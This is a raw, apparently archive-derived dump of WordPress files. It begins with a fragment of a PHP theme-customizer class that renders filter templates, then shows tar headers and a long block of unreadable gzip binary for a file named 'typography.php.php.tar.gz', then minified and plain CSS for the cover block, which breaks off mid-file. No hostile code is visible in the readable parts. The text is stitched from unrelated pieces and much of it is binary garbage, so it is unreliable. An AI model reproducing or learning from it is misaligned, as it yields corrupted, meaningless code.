					<input type="search" id="{{ data.id }}-themes-filter" aria-describedby="{{ data.id }}-live-search-desc" class="wp-filter-search wp-filter-search-themes" />
					<div class="search-icon" aria-hidden="true"></div>
					<span id="{{ data.id }}-live-search-desc" class="screen-reader-text">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'The search results will be updated as you type.' );
						?>
					</span>
				</div>
			</div>
		<# } #>
		<div class="filter-themes-wrapper">
			<# if ( 'wporg' === data.action ) { #>
			<button type="button" class="button feature-filter-toggle">
				<span class="filter-count-0"><?php _e( 'Filter themes' ); ?></span><span class="filter-count-filters">
					<?php
					/* translators: %s: Number of filters selected. */
					printf( __( 'Filter themes (%s)' ), '<span class="theme-filter-count">0</span>' );
					?>
				</span>
			</button>
			<# } #>
			<div class="filter-themes-count">
				<span class="themes-displayed">
					<?php
					/* translators: %s: Number of themes displayed. */
					printf( __( '%s themes' ), '<span class="theme-count">0</span>' );
					?>
				</span>
			</div>
		</div>
		<?php
	}

	/**
	 * Renders the filter drawer portion of a themes section as a JS template.
	 *
	 * The filter bar container is rendered by {@see render_template()}.
	 *
	 * @since 4.9.0
	 */
	protected function filter_drawer_content_template() {
		/*
		 * @todo Use the .org API instead of the local core feature list.
		 * The .org API is currently outdated and will be reconciled when the .org themes directory is next redesigned.
		 */
		$feature_list = get_theme_feature_list( false );
		?>
		<# if ( 'wporg' === data.action ) { #>
			<div class="filter-drawer filter-details">
				<?php foreach ( $feature_list as $feature_name => $features ) : ?>
					<fieldset class="filter-group">
						<legend><?php echo esc_html( $feature_name ); ?></legend>
						<div class="filter-group-feature">
							<?php foreach ( $features as $feature => $feature_name ) : ?>
								<input type="checkbox" id="filter-id-<?php echo esc_attr( $feature ); ?>" value="<?php echo esc_attr( $feature ); ?>" />
								<label for="filter-id-<?php echo esc_attr( $feature ); ?>"><?php echo esc_html( $feature_name ); ?></label>
							<?php endforeach; ?>
						</div>
					</fieldset>
				<?php endforeach; ?>
			</div>
		<# } #>
		<?php
	}
}
14338/typography.php.php.tar.gz000064400000015041151024420100012125 0ustar00��=ks�F��*��Y�.$
��W��k;���:��Yp|$HID @c@�J����\w�3�_����̪��L���_���9�M
.�'�ިH�\�x�G)��$�.b9����(_f�M4����8�F�r�Eo�棫c�\,���f�O�x1����W�w�����N��������'g��޻���=:{x�Nj3>�o)ʸ��\��>�u:�ݽ{���f��+S��&i<�`��"]�S����G�AO�g���	��w�a�ħ�(y!X9�L�7)gq6f��+.�".K.�$/�C�qf\Z��P���݋N���+b�?�ǣ<]�3�x4�٢H��W����I�P8;"r�H��(+��e6*�<c�E�P�+�������~?<H&����7I	|�����tP�rYd����d���x�X�~۪���'[�;g�8�D"q��$��$�'���W��������V)+��yA04ݻN�����oܡi#U8��ZK�5(�w��vgY�B;�B�	Ѵ��tV���yC0v$�L�Jy��I��_T�U# �$���%��v�N���2r�y�ѐ��4�f;�N{���"�G��*jc��s9k#�j\����"F[k��	��w��P���,�L���逸�䵆�#q�<��U���y��j.�7������]Zh5@S���r{��F���6��K��Yoö�P������_z;�]WnDM���UFIk_m;x+Ғ���%��"�iw�''`Mk��׀����
�B��Z�����Vxg������|�Z��W>*[]x\�����4�Pj��bg��X/FZG��j� �&6ږ�&��[��^�Q�-�'n��P�
�'<�����h�b|�Ah2�,��)K�0>�R;' �"�z��JҔ
!�X,��|5M��Z.�Ǔp�l�1o8���g�M�³)r�����02JLg1$��?1���g&;��Y$#�j�%�g^�%��`]M�R��[O}p1n6�=�U8��'H��VI��=-
U�����t�Wɢ/1��}\�o�<y��l�˗<�K�%���}�þ�a2�؛�h��]��qr���q�׀U�?��2����O�̺VL�ЇձJ?�9�*GՀW����[�

h�[�h�ݯ㵌��kY�:�ʴ~r1W���������
�+���[6��1�����$�ˉ+>�z9QC�m�?�R�,s��ݔD���]a�X�h0�*�_�m�e�;���*vr�Հ'��u\�K�8�1�^o�����s�-��)-E��7Q��i�B����Y��v���
��x�Bxv��5�G�j���tɩ�R�_Z����cV�b:��]g@w,�������-�Gbi� �(�աu��EUN+��e��WP	J�BT�(pOT�+y�$�m��*݅��I��9�R%�ڐ�5��!
��~�W'ЇJ#��?S�e�P�{�E;N.��m>Gb^��(2��/�*��Nhf�疚Fd�M2�˭�X%`��@t�Nξ�)pK��{�����z�εobڮ�S�ؕek�&���E�:��{�b�9��\5~O�Y������60Mŗ���3��MY��l66�9���ȤѡÖ��&��P.jg�$�/M����0�)�[�.K���&I6�C��r��$����͒�|NIz��$��c�x���!):��~2\����t'�a(kw3���<jh\8��i��*��Zny�K� ���Y�Y�fMi}�kM��5/JP�LNޯ�! e��$}�]��%L=Ғ��X�z��R���?w�끫�0�- 昌�9n�h?6���E7�p���"���b���à�����w���g�)VW�_T���;��Luā�
ƣiD}�r}]�gƆw�4_6^ X��2/��l�0�jƎGW��6��<LҤ�������e�������阫Nn�V�Yd��ۣ���I�+*��\���|��#.�����@8c6��o�1�$�F��x�3 A0Ҧs�	p�]&��2Kc,�"�_�5�����<U����r!�{�iRΖCyO"/�ȕ�Ma��!/����٣��(�|����A�
1���*�e��VL�|hZBw�k͋Q��"_�Ѻa���T6��d�y#;u,�4˧[J��4�����-�ߺɴ!{=���ZE),�ӼqH�D��6��%�~�b��ήW��a��`����^�Sd�~w�x{��Ӱ�*ѻ{x�|�n���a+K]�9�'v�T�3*�R;9�iP���r�_�/D�(���͉��U�{�e�l�?���4E��Y�"�I�u��+߰S�ͨuNA�����0�G��!��邏�#k�?I"��xT�gX1�4�����>>^-���Ď����x	�ѹDƺ����_���W��u.Z���_���~�_�Mg���w��V0d����}�NWÒ�@�$4�8�e&���e�3d^$i��ߠA����T]mv�ǜP�m͜�xa��oK:�t�Y;����$]&c�$�r�3�#������|<�qt�t��s�si
�q9��j���9��%%8�!��/Kr�C�t��i��̀B��t0̬=���e�C\&��V`0I
Q��A�O��S�׀�
ܴ3�C�Y���i_�! ������{�a�Jc�/!�j$	�иE��/���č�Q�̻�NW�����Ai+�!ֻQ
�,)�zK�^�q
=I�p2���ԋ�ڢѭ��HkЕ�Rk�3d����%�sy;Is�Ur���	���{�<�U�Ys�+���)!��w�1�=�ӈ=�0O���5W��?5)b��I�L)�%�U-Ȋt����T�H�(�ň���<����|xBa �Ň
À$5�\� �G��!`��@,���P�����ǀ���SG�Ӈ>.�$fGؕ�()�ƕ$'-�
��@�GF`��i���c��s�
�6J�c��{�1�0�x�"�I��
ם�gp	g0�mK
��2���x�R��,i��%,f��xq�q�%��쯊 cɣ����篿��e�ߕ@��&�����x��]�%>�E5�F-Y�8h�~��(mI��6�u"��4?�%p/��bH	�<�
�c�::�I�`^$� �ѥ�>"]�Y��	f�̮l�h�1kх����Z���!��wy�f=���(�a���b��z�d�S|T�i�/Nq�U���:m�d��ee���V�?ڿ��=�e�M�MՖ� ����ӏG�RG��b`A!�{��ra�g��`�B�
k+.�	����<I{E�$�q
���w:��ߜ��6� hԥ�2"�g?>{g�Lڢ
�|%�`c�"�7y`A�"�a�&k�b��!/�����M'0��A�%K�3��1�)�!�-�93z����+�����Y9O)A�t�8p�(T9v���Q�J�ߡUiK��1�+�N����VFF�w-���xG
	Fz!�ɨ�)aA�]B�C��}•���(NG�4�E���_&��kb	��!/W���i�nx)�f�8��Р��+#��	���T;M�(>'�	$JY��e#��`�{޾
;���n�E�S�Qpd�Z��&}���U��o�W�����X�f0�`��q[-z�ݓNL�d�	�4�U�}�6�}4�$"��h�KN���a�w���w
��*"�$����:�+�q�Q2���V��b]�r�
�1X[f*���.�+){�K�!!<Kƒb�޽|��bx`�V3�גLRl��aYĦ�/rT��:��a#�j|��Κ�����ok.�=��Eg���h`(1�������̗�@_����c�.����d�k8��U�����I�.[R�@Ә��(�&J̓�
�ٍQnˠm`����Ja��I�>�
K�2z��4~v��q�|��3����.��E����.T6)�f�lz,�RnH�����J`���p���:�甤��C[���#4h^K��1*�|�
՗=6�1�
���alca�5����3̣f�~]�l<��0Sa<
:�cuQxo4t
�_�qÎrU����y^�����Uw����NN}��j��7,N����3����&�d���|!�:���|�!PTm0���7Y>L0_��x�i*�T�`��2P�o~}.#��%�Y���f��X��{��!�<�Jc1�qEC��U��wa�Q�w���ȃ�E���|O� �tbY��6�9��,�|k�?�r��ɑ��M0ؒ>�������ջ���oH���W&��T��]8?��Tc�H�
Q�[F�MȎJR7�iJ���U�������d0���b+k�=���XW���4x�:v�?Y�;-ƒg:*9�bz7�3�o��V�IP�M�-P�J"�J�ޱ�&F͐��׌nMQO��g�$S�T,��(��juĊ�S&#-�ze���F�n�S`���=c��P�d�'՗&��.�ӓJ���ۅ/n۫�4�3㺡
<��7ɸFD��1��t������Z0��V�I��M����|R�bǝUI�G��2�����ۧ�+WxE;�T��Ν��
pG��
&�5P�
� N@�ɺ:�e	U)�MAY3k�<ç��5�A�������ܘ�0��Y��2B��:�'��]lr�٘NB�ZD��ܿ��N�S�t��R���ͪ��r�e�j��M8�MD�g##��\�V&����)�J�|YF���c{U�r�h$ͧ�֕�y2�%��uce梾o8��t�L!�T՜�aU!ж��Z'�������ִ!�:��T�5��?��F�#��Ğ�!��YlEH�vU��ӛ.㨩	:������$8k̦i>�Q�`#�U;�uR��*yFL��nRE|��?��;�m8տ#�d/�r١5�x(,�$���
t��@]��c{�릓�����g�γ	x��=FRT 2�_����:��.*�����md�a�5J����/�y)S���FP�E�����t�i~Vy�>��ʑE�����s�O�A�Qd������J����ug��&5�kI��HU�zr�ۖI�7�(��a2}�76n��^������M�h��.x�fX���@�˥"7�VY��VZ�?�F$ع����o[�}��2��]��o��Ȁƀ�<ь�����7B��W��%�v���%�6�Զ�q�)��+S(O�$Z��K# �Ѭ.�;yv���?�ށP�HQu��D���:97���n3�융�lCC'���@�c�z�c\��3�
Q��0��-�u!�x�T�wP�t��=�6�}�[�3�Kz���m9r�`ֱ?�>P'�D%{a��ɷ�R���Pw#�0�g�6SH�^���m|�:�?{�]�6�3�Ʃ�Mk�ս���72R�Q�8A��M�i>�E�S6)�簾���@ (�Y�P�k���U�9�5���XT�*��JX�����q��`����V������v��J��X �Ɇ�u$�j��T�
;��Q����T}Q��ߐ�kEo�><9�=%Քp%�L�w�4��Jq0��d'ѣ�
O2~�_S��<v=�4�'e��}"�WD��Dz�\�º������w�6�b]M���ۖN=��0��[T��#��
�9
�}a�Y�4�ui���FIl�����	�|�k���oyn�&}�U_�v	��4�U`�^��K@��Drn��v:�O^�c�&�KT�{�yЦ������@G������h�S&?�ܺ��_�q�[�>ۇ��ݤ�aE��l�*�*[(�xHe�N!�Ftc"�f����������Uݿ�1z�00
�DN�1<�v���:t�+���7񯺈B�H���jX�����,6����^i5�;�r���8�v���+�� �Y�k�����R��@����e#�ڌ�7�=Zx�*|?��mD�S�C檎'}�i��[��ep��o����4�ݳ�x%mؑ�E�CP��]6*8�:�T��CN��dwn �W�WPu��v�ѻ��tZn����^��Z`�WuC6X�'�2:o~u��>�=l���e��b���x2!��M6���*��-�kՌ�7	a�ȋ���T:N`H�|�CH��J̉Z�)x$����rW�}ǘ�!�9ͧg�NWm<U��'�N_q��&z����s6���"��[:k�LT�6�V$~�s�8��N������ɍ��=�3��S��`��@��>C4�����u��cu%�c���
����y;+Q碏�]�1������bHc���5c�I;��8��6 [��:���}-����[���!EC���w�jIC���|�u�U�Y*%	*�j88�YӚ:l�-;�~̂	�;����*����=9Z��?�g]�5Go�_Hx�>Yz~>����Jd�s�X��t���'K��n���|"@�ì����m�' lJ)���8�s����������������;�}�x14338/cover.tar000064400000273000151024420100007043 0ustar00editor-rtl.min.css000064400000003300151024252110010112 0ustar00.wp-block-cover.is-placeholder{align-items:stretch;display:flex;min-height:240px;padding:0!important}.wp-block-cover.is-placeholder .components-placeholder.is-large{justify-content:flex-start;z-index:1}.wp-block-cover.is-placeholder:focus:after{min-height:auto}.wp-block-cover.components-placeholder h2{color:inherit}.wp-block-cover.is-transient{position:relative}.wp-block-cover.is-transient:before{background-color:#fff;content:"";height:100%;opacity:.3;position:absolute;width:100%;z-index:1}.wp-block-cover.is-transient .wp-block-cover__inner-container{z-index:2}.wp-block-cover .components-spinner{margin:0;position:absolute;right:50%;top:50%;transform:translate(50%,-50%)}.wp-block-cover .wp-block-cover__inner-container{margin-left:0;margin-right:0;text-align:right}.wp-block-cover .wp-block-cover__placeholder-background-options{width:100%}.wp-block-cover .wp-block-cover__image--placeholder-image{bottom:0;left:0;position:absolute;right:0;top:0}[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{max-width:420px;width:100%}.block-library-cover__reset-button{margin-right:auto}.block-library-cover__resize-container{bottom:0;left:0;min-height:50px;position:absolute!important;right:0;top:0}.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{overflow:visible;pointer-events:none}.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{background-attachment:scroll}.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){margin-top:24px}style-rtl.min.css000064400000045322151024252110007776 0ustar00.wp-block-cover,.wp-block-cover-image{align-items:center;background-position:50%;box-sizing:border-box;direction:ltr;display:flex;justify-content:center;min-height:430px;overflow:hidden;overflow:clip;padding:1em;position:relative}.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){background-color:#000}.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{background-color:initial}.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{background-color:inherit;content:""}.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{bottom:0;left:0;opacity:.5;position:absolute;right:0;top:0}.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{opacity:.1}.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{opacity:.2}.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{opacity:.3}.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{opacity:.4}.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{opacity:.6}.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{opacity:.7}.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{opacity:.8}.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{opacity:.9}.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{opacity:1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{opacity:0}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{opacity:.1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{opacity:.2}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{opacity:.3}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{opacity:.4}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{opacity:.5}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{opacity:.6}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{opacity:.7}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{opacity:.8}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{opacity:.9}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{opacity:1}.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{max-width:420px;width:100%}.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{display:flex}.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{color:inherit;direction:rtl;position:relative;width:100%}.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{align-items:flex-start;justify-content:flex-start}.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{align-items:flex-start;justify-content:center}.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{align-items:flex-start;justify-content:flex-end}.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{align-items:center;justify-content:flex-start}.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{align-items:center;justify-content:center}.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{align-items:center;justify-content:flex-end}.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{align-items:flex-end;justify-content:flex-start}.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{align-items:flex-end;justify-content:center}.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{align-items:flex-end;justify-content:flex-end}.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{margin:0}.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{margin:0;width:auto}.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{border:none;bottom:0;box-shadow:none;height:100%;left:0;margin:0;max-height:none;max-width:none;object-fit:cover;outline:none;padding:0;position:absolute;right:0;top:0;width:100%}.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:fixed;background-repeat:no-repeat;background-size:cover}@supports (-webkit-touch-callout:inherit){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}@media (prefers-reduced-motion:reduce){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{background-repeat:repeat;background-size:auto}.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{color:#fff}.wp-block-cover-image .wp-block-cover.has-left-content{justify-content:flex-start}.wp-block-cover-image .wp-block-cover.has-right-content{justify-content:flex-end}.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{margin-right:0;text-align:right}.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{margin-left:0;text-align:left}.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{font-size:2em;line-height:1.25;margin-bottom:0;max-width:840px;padding:.44em;text-align:center;z-index:1}:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){color:#fff}:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){color:#000}:root :where(.wp-block-cover h1:not(.has-text-color)),:root :where(.wp-block-cover h2:not(.has-text-color)),:root :where(.wp-block-cover h3:not(.has-text-color)),:root :where(.wp-block-cover h4:not(.has-text-color)),:root :where(.wp-block-cover h5:not(.has-text-color)),:root :where(.wp-block-cover h6:not(.has-text-color)),:root :where(.wp-block-cover p:not(.has-text-color)){color:inherit}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__image-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__video-background{z-index:0}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__gradient-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)).has-background-dim:not(.has-background-gradient):before{z-index:1}.has-modal-open body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container{z-index:auto}editor-rtl.css000064400000003577151024252110007350 0ustar00.wp-block-cover.is-placeholder{
  align-items:stretch;
  display:flex;
  min-height:240px;
  padding:0 !important;
}
.wp-block-cover.is-placeholder .components-placeholder.is-large{
  justify-content:flex-start;
  z-index:1;
}
.wp-block-cover.is-placeholder:focus:after{
  min-height:auto;
}
.wp-block-cover.components-placeholder h2{
  color:inherit;
}
.wp-block-cover.is-transient{
  position:relative;
}
.wp-block-cover.is-transient:before{
  background-color:#fff;
  content:"";
  height:100%;
  opacity:.3;
  position:absolute;
  width:100%;
  z-index:1;
}
